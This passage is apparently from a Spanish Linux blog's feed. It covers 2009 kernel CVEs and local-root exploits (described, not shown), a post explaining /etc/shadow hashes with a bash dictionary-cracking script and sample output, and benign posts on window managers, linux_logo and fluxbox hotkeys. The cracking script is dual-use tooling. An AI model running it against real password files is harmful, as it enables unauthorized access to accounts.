    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.

Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion ptrace_attach() para ejecutar un codigo arbitrario que nos permita ejecutar una shell del tipo /bin/sh como root.
El primer exploit es el shoryuken, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El segundo script fue probado por su autor en la version del kernel 2.6.29rc1 de Gentoo.
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/ 0 Descifrando password encriptadas con shadow (md5 + salt) http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/ http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/#comments Sat, 18 Oct 2008 05:27:14 +0000 Zerial http://blog.zerial.org/?p=155 En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password).
Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la analizamos podemos darnos cuenta de lo siguiente:

  • Lo que nos interesa es solamente root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.
  • Lo que esta antes de “:” corresponde al usuario: root; y lo que sigue es la password.
  • Si descomponemos la password podemos obtener:
  • $1$: Nos indica que corresponde a una encriptacion md5.
  • xOqq7NEt: Es el SALT que se usa para generar el hash del password
  • vDOA0jbLcaiRbGsj3ddz30.: Es el hash salteado de nuestra password.

Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a crackear o descifrar las password en shadow.

El comando mkpasswd nos permite generar un password segun un salt especificado.
Ejemplo:

machine:~$ mkpasswd -H md5 miPassword -S DSfdsdaA
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/

He creado un script para hacer mas eficiente y automatiza un poco el proceso.

  1. #!/bin/bash
  2.  
  3. ################################################################
  4. #
  5. # Crack for SHADOW PASSWORDS.
  6. # Usage:
  7. #       crack.sh SALT ENCRYPTED_PASS WORD_LIST
  8. # Example:
  9. #       crack.sh mAsCaLaZ 8E6sMbq.fRDo6nbQqIh.z1 wordlist.txt
  10. #
  11. # by Zerial – http://blog.zerial.org – fernando@zerial.org
  12. ################################################################
  13.  
  14. __SALT=$1;
  15. __HASH="md5";
  16. __FILE=$3;
  17. __RPWD=$2;
  18. echo "Cracking $__RPWD …";
  19. echo "Attempts: `wc -l $3 |cut -f1 -d ‘ ‘`";
  20.  
  21. for lista in `cat $__FILE`
  22. do
  23.         pass_temp=`mkpasswd -H $__HASH "$lista" -S $__SALT |cut -f4 -d ‘$’`;
  24.         #echo "Probing $lista …";
  25.         if [ "$__RPWD" = "$pass_temp" ]; then
  26.                 echo ""
  27.                 echo "Password Cracked."
  28.                 echo "Decrypted password is: $lista"
  29.                 exit
  30.         fi
  31.         i=`expr $i + 1`;
  32. done
  33. echo "Password not found. :-( ";

Funcionamiento: Lee palabras desde un fichero y por cada palabra leida genera un hashed and salted password y la compara con los parametros pasados al script.

machine:~$ sh crack.sh DSfdsdaA .NySZJPYFdPr0ETVpMeKx1 wordlist
Cracking .NySZJPYFdPr0ETVpMeKx1 …
Attempts: 161597

Password Cracked.
Decrypted password is: test

Descargar script

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/feed/ 12 5 Gestores de ventanas (window manager) ultra ligeros http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/ http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/#comments Wed, 15 Oct 2008 04:20:17 +0000 Zerial http://blog.zerial.org/?p=148 Me di la libertad de hacer un ranking top 5 de gestores de ventanas (window manager) mas ligeros para Linux, el orden no va a depender de cual es mejor o peor, me guiare en el orden en que los fui probando y que me fueron gustando. Tambien incluiré un bonus track con algunos window manager que han dejado de ser desarrollados o que simplemente no quice incluirlos dentro de este ranking top 5.

Top 5

  1. Fluxbox
  2. WindowMaker
  3. Lxde
  4. 2-Disk
  5. WindowLab

Fluxbox
Este es un gestor de ventanas sencillamente genial, segun mi punto de vista es el mejor, mi favorito. Es completamente configurable, versatil, ultra ligero y rapido, optimizable, etc. Soporta transparencias en sus menus y barras de titulos, sencilla manera de configurar tus hotkeys, estilos o temas, elementos de inicio, etc.
Especial para maquinas ligeras sin muchos recursos, o bien para maquinas no-ligeras que no quieren derrochar tantos recursos (como yo).
Hace un tiempo publique algunos tutoriales para enchular este magnifico gestor de ventanas.

fluxbox new look

WindowMaker
Fue mi preferido casi por un año, pero no resisti y volvi a fluxbox. Cuando lo usé no soportaba transparencias, costaba un poco configurarlo pero valia la pena, sumamente ligero. Sus caracteristicas actuales permiten poner transparencias en sus menus.
Tambien ideal para maquinas de escasos recursos.

Lxde
Hace un tiempo pense en cambiar de entorno de ventanas y busqué a ver si existia algun proyecto nuevo y encontre Lxde, nose que tan antiguo sera, pero no lo conocia. Si bien es bastante ligero y bonito, es un poco problematico de configurar, no es muy amistoso, hay que tener harto tiempo y paciencia. Lo recomiendo para quien lo quiera probar. Soporta iconos en el escritorio, una barra de tareas y un menu de aplicaciones y programas, que lo hace bastante amigable para la vista.

2-Disk
Mi experiencia con este fue similar al anterior, en mi odisea por cambiar de entorno de ventanas lo conocí y no me agrado mucho, por su forma de configuracion poco amigable y ademas, es bastante feo, nose que tan customizable sea. No diré mucho sobre 2-Disk, pruebenlo.

WindowLab
Sinceramente, nunca lo probé por lo que no quiero emitir ninguna opinion al respecto, sólo que es ultra ligero y sencillo.

Los links de descarga de estos window manager estan al principio del post.

bonus track
No he querido incluir algunos gestores por tu complejidad o bien por que estan descontinuados:
kahakai
waimea
Blackbox

Si tienen tiempo recomiendo que prueben Enlightnement y si no tienen tanto tiempo, pueden probar Elive, distribucion Debian + Enlightenment.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/feed/ 25 Linux Logo http://blog.zerial.org/linux/linux-logo/ http://blog.zerial.org/linux/linux-logo/#comments Wed, 15 Oct 2008 01:34:44 +0000 Zerial http://blog.zerial.org/?p=142 Linux Logo es una utilidad/herramienta que nos mostrara un logo en modo de texto de nuestra distribucion e informacion del sistema.

Instalacion
En la mayoria de las distribuciones como Fedora, Debian, Archlinux, Gentoo, etc se puede encontrar bajo el nombre de linuxlogo o linux_logo, instalandolo directamente con el gestor de paquetes desde los repositorios de cada distribucion.
Tambien puedes descargar el source y compilarlo tu mismo.

Uso

$ linux_logo

Screenshots

linux_logo -a && linux_logo -b && linux_logo -c

Linux logo Debian

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/linux-logo/feed/ 2 Configurar tecla Function (Fn) de los laptop en fluxbox http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/ http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/#comments Mon, 13 Oct 2008 03:09:27 +0000 Zerial http://blog.zerial.org/?p=138 Tengo un notebook Compaq Presario C708LA con las tipicas teclas con segundas funciones que se activan mediante la tecla [Fn] y se me ocurrio un dia configurarlas, en fluxbox.
En este caso ayudare a configurar las teclas para subir y bajar el volumen, play, stop, ff, rewind y bloquear la pantalla.

Lo haremos definiendo hotkeys. Primero debemos reconocer el numero (KeyCode) de la tecla que queremos definir o configurar, esto lo hacemos ejecutando xev, nos abrira una ventana rara donde solamente debemos presionar la tecla, podemos darnos cuenta que si presionamos la tecla que tiene el icono para subir o bajar el volumen sin presionar Fn nos marcara un codigo y si la presionamos con Fn marcara otro codigo, entendemos entonces que son distintas teclas o distintos KeyCodes. xev nos mostrara una salida asi:

KeyPress event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22118506, (485,592), root:(666,646),
state 0×0, keycode 9 (keysym 0xff1b, Escape), same_screen YES,
XLookupString gives 1 bytes: (1b) ”
XmbLookupString gives 1 bytes: (1b) ”
XFilterEvent returns: False

A nosotros solamente nos interesa lo que esta en negritas. Lo primero es el numero de tecla y lo segundo marcado es el nombre (o alias) de la tecla, si no nos aparece lo segundo nos guiamos por lo primero resaltado.
Por ejemplo, a continuacion les mostrare lo que muestra xev cuando presiono la tecla para bajar el volumen con y sin Fn:

Con Fn

KeyRelease event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22273462, (550,501), root:(749,573),
state 0×0, keycode 174 (keysym 0×0, NoSymbol), same_screen YES,
XLookupString gives 0 bytes:
XFilterEvent returns: False

Sin Fn

KeyPress event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22269330, (550,501), root:(749,573),
state 0×0, keycode 105 (keysym 0xff56, Next), same_screen YES,
XLookupString gives 0 bytes:
XmbLookupString gives 0 bytes:
XFilterEvent returns: False

El KeyCode cambia de 174 a 105.

Cuando tengamos identificados los numeros de las teclas entonces editamos el fichero keys de fluxbox, generalmente esta en ~/.fluxbox/keys, nos vamos al final del fichero y agregamos las hotkeys con su comando correspondiente.
En mi caso tengo lo siguiente:

None 174 :ExecCommand /usr/bin/amixer set Master 3dB-
None 176 :ExecCommand /usr/bin/amixer set Master 3dB+
None 162 :ExecCommand /usr/bin/audacious -t
None 164 :ExecCommand /usr/bin/audacious -s
None 144 :ExecCommand /usr/bin/audacious -r
None 153 :ExecCommand /usr/bin/audacious -f
None 223 :ExecCommand /usr/bin/xscreensaver-command -lock

Definiciones de las teclas y sus funciones:
174 y 176 Sube y baja el volumen, +3dB/-3dB respectivamente.
162, 164, 144, 153 Junto con lo que audacious (xmms, mplayer u otro) nos permite, podremos parar lo que estamos escuchando, poner play, pasar al siguiente o anterior tema.
223 Activamos el bloqueo de pantalla con la ayuda de xscreensaver.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/feed/ 1